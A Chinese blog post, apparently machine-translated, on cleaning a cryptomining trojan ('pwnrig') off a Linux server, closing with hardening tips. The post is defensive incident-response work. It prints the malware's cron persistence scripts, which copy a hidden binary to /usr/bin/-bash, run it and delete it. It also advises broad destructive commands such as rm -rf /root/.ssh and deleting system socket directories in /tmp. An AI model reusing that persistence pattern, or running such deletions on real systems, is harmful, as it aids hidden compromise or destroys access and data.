关于linux:Linux服务器挖矿木马清除

异常现象

1.服务器CPU总占用50%，局部过程占用800%左右（共16核）

top

定位

1.数据传输

netstat -lntupa

2.定时工作

[root@bogon .new]# cat /etc/passwd | cut -f 1 -d : |xargs -I {} crontab -l -u {}* * * * * /tmp/.ICE-unix/.new/-bash > /dev/null 2>&1;no crontab for binno crontab for daemonno crontab for admno crontab for syncno crontab for mailno crontab for ftpno crontab for nobodyno crontab for avahi-autoipdno crontab for dbusno crontab for polkitdno crontab for tssno crontab for postfixno crontab for ntpno crontab for sshdno crontab for mysqlno crontab for redisno crontab for tcpdumpno crontab for dockerrootno crontab for systemd-networkno crontab for xdjano crontab for ansible

3.定位歹意木马文件

[root@bogon tmp]# pwd/tmp[root@bogon tmp]# ls -latotal 8drwxrwxrwt.  8 root  root  4096 Jan 22 10:31 .dr-xr-xr-x. 18 root  root  4096 Sep 16 15:37 ..drwxrwxrwt.  2 root  root     6 Aug 26  2016 .font-unixdrwxr-xr-x   2 root  root    30 Jan 12 16:44 hsperfdata_rootdrwxrwxrwt.  3 root  root    17 Nov 13 08:17 .ICE-unix-rw-r--r--   1 root  root     0 Jan 17 16:01 .locksrwxrwxrwx   1 mysql mysql    0 Oct 20 13:59 mysql.sockdrwxrwxrwt.  2 root  root     6 Aug 26  2016 .Test-unixdrwxrwxrwt.  2 root  root     6 Jul 25  2019 .X11-unixdrwxrwxrwt.  2 root  root     6 Aug 26  2016 .XIM-unix

[root@bogon tmp]# cd .ICE-unix/[root@bogon .ICE-unix]# ls -latotal 4drwxrwxrwt. 3 root root   17 Nov 13 08:17 .drwxrwxrwt. 8 root root 4096 Jan 22 10:31 ..drwxr-xr-x  2 root root   31 Jan 22 12:29 .new[root@bogon .ICE-unix]# cd .new/[root@bogon .new]# ls -latotal 1840drwxr-xr-x  2 root root      31 Jan 22 12:29 .drwxrwxrwt. 3 root root      17 Nov 13 08:17 ..-rwxr-xr-x  1 root root     119 Nov 13 08:18 -bash-rwxr-xr-x  1 root root 1878432 Sep 17 01:52 x86_64

解决办法

1.kill掉-bash过程，发现很快就主动启动

kill -9 28332

2.删除定时工作

[root@bogon .new]# crontab -l* * * * * /tmp/.ICE-unix/.new/-bash > /dev/null 2>&1;[root@bogon .new]# crontab -r[root@bogon .new]# [root@bogon .new]# [root@bogon .new]# [root@bogon .new]# [root@bogon .new]# crontab -lno crontab for root

3.删除木马程序，也可将木马程序下载保存起来，以备后续剖析钻研

[root@bogon tmp]# ls -latotal 8drwxrwxrwt.  8 root  root  4096 Jan 22 10:31 .dr-xr-xr-x. 18 root  root  4096 Sep 16 15:37 ..drwxrwxrwt.  2 root  root     6 Aug 26  2016 .font-unixdrwxr-xr-x   2 root  root    30 Jan 12 16:44 hsperfdata_rootdrwxrwxrwt.  3 root  root    17 Nov 13 08:17 .ICE-unix-rw-r--r--   1 root  root     0 Jan 17 16:01 .locksrwxrwxrwx   1 mysql mysql    0 Oct 20 13:59 mysql.sockdrwxrwxrwt.  2 root  root     6 Aug 26  2016 .Test-unixdrwxrwxrwt.  2 root  root     6 Jul 25  2019 .X11-unixdrwxrwxrwt.  2 root  root     6 Aug 26  2016 .XIM-unix[root@bogon tmp]# rm -rf .font-unix .ICE-unix .Test-unix .X11-unix .XIM-unix[root@bogon tmp]# ls -latotal 4drwxrwxrwt.  3 root  root    57 Jan 22 12:55 .dr-xr-xr-x. 18 root  root  4096 Sep 16 15:37 ..drwxr-xr-x   2 root  root    30 Jan 12 16:44 hsperfdata_root-rw-r--r--   1 root  root     0 Jan 17 16:01 .locksrwxrwxrwx   1 mysql mysql    0 Oct 20 13:59 mysql.sock[root@bogon tmp]#

4.kill掉木马过程，kill掉后可能再次主动启动，再次kill察看未再主动启动，后续可尝试重启后持续察看

kill -9 22590

5.察看发现木马又重新启动，PID为30382

ls -l /proc/30382

6.查看定时工作日志，每隔1小时就有异样信息

tail -2000f /var/log/cron

7.查看定时工作信息，大抵为每隔1小时复制/bin/sysdrr到/usr/bin/-bash，启动脚本后再删除-bash

[root@localhost tmp]# cat /etc/cron.daily/logrotate    man-db.cron  mlocate      sync         [root@localhost tmp]# cat /etc/cron.daily/sync #!/bin/bash##      Start/Stop the pwnrig clock daemon## chkconfig 2345 90 60# description: sync clock (GNU System)cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/nullcd /usr/bin/ 2>/dev/null./-bash -c >/dev/nullrm -rf -- -bash 2>/dev/null[root@localhost tmp]# cat /etc/cron.hourly/sync #!/bin/bash##      Start/Stop the pwnrig clock daemon## chkconfig 2345 90 60# description: sync clock (GNU System)cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/nullcd /usr/bin/ 2>/dev/null./-bash -c >/dev/nullrm -rf -- -bash 2>/dev/null

8.再次清理定时工作

[root@localhost etc]# cd /etc/cron.weekly/[root@localhost cron.weekly]# lltotal 4-rwxr-xr-x 1 root root 246 May  5  2015 sync[root@localhost cron.weekly]# rm -rf sync rm: cannot remove ‘sync’: Operation not permitted[root@localhost cron.weekly]# laattr sync-bash: laattr: command not found[root@localhost cron.weekly]# lsattr sync----i----------- sync[root@localhost cron.weekly]# rm -rf sync rm: cannot remove ‘sync’: Operation not permitted[root@localhost cron.weekly]# chattr -R -i sync[root@localhost cron.weekly]# lsattr sync---------------- sync[root@localhost cron.weekly]# rm -rf sync [root@localhost cron.weekly]# [root@localhost cron.weekly]# [root@localhost cron.weekly]# [root@localhost cron.weekly]# lltotal 0[root@localhost cron.weekly]#

其余目录下的sync文件或者其余可疑文件执行如下命令进行革除

chattr -R -i synclsattr syncrm -rf sync

9.删除木马程序，也可将木马程序下载保存起来，以备后续剖析钻研

[root@localhost etc]# cd /bin/[root@localhost bin]# ls -la sysdrr-rwxr-xr-x 1 root root 1878432 May  5  2015 sysdrr[root@localhost bin]# [root@localhost bin]# [root@localhost bin]# [root@localhost bin]# [root@localhost bin]# chattr -R -i sysdrr[root@localhost bin]# lsattr sysdrr---------------- sysdrr[root@localhost bin]# rm -rf sysdrr

10.清理 ssh

rm -rf /root/.ssh

11.尽可能排查所有服务器，革除步骤如上

平安倡议

用密钥登录，不要用明码登录
应用平安的明码策略，应用高强度明码，切勿应用弱口令，避免黑客暴力破解
redis最好不凋谢端口或者启用TLS与明码身份认证或者加上ip白名单等
外网近程22连贯应用白名单或敞开外网间接连贯22
降级已裸露破绽的组件版本，如openssh
防火墙禁掉木马程序通信IP

参考文档

https://cloud.tencent.com/dev...

https://blog.csdn.net/whatday...

https://blog.csdn.net/weixin_...